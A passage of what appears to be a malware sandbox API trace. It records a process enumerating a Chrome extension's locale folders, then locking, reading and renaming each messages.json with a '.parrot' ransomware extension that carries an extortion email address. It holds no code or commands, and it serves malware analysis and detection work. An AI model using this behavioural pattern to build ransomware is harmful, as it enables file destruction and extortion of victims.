dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x53e3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.345] CloseHandle (hObject=0x274) returned 1 [0074.346] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.349] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.350] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9cb2820, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9cb2820, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.350] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9cb2820, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x53e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.350] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.354] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.354] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834126b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834126b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.354] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.354] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.354] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834126b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83414dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x405d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.355] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4175, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.355] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.355] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.357] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.357] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x405d, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x405d, lpOverlapped=0x0) returned 1 [0074.360] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.360] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4175, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.360] CloseHandle (hObject=0x274) returned 1 [0074.361] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.363] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.363] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9cd8980, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9cd8980, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.364] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834126b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83414dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9cd8980, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4178, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.364] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.364] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.364] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8341c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8341c2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.364] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.364] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.364] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8341c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83421110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4029, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.364] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4141, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.364] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.365] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.367] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.367] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4029, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x4029, lpOverlapped=0x0) returned 1 [0074.369] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.370] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4141, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.370] CloseHandle (hObject=0x274) returned 1 [0074.370] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.376] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.376] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9cfeae0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9cfeae0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.376] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8341c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83421110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9cfeae0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4148, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.376] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.376] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.376] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83428640, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.376] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.376] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.376] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83428640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f79, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.377] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4091, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.377] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.377] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.379] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.379] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3f79, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x3f79, lpOverlapped=0x0) returned 1 [0074.381] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.382] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4091, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.382] CloseHandle (hObject=0x274) returned 1 [0074.383] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.385] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.386] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83425f30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9d24c40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9d24c40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.386] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83428640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83428640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9d24c40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4098, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.386] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.386] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.386] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8342fb70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8342fb70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.386] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.386] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.386] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8342fb70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83432280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x406f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.386] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4187, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.386] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.387] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.388] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.388] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x406f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x406f, lpOverlapped=0x0) returned 1 [0074.391] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.391] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4187, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.391] CloseHandle (hObject=0x274) returned 1 [0074.391] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.395] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\de\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.395] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8342d460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9d24c40, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9d24c40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.395] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8342fb70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83432280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9d24c40, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4188, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.395] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.395] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.395] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83434990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834370a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.395] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.395] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.395] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834370a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, 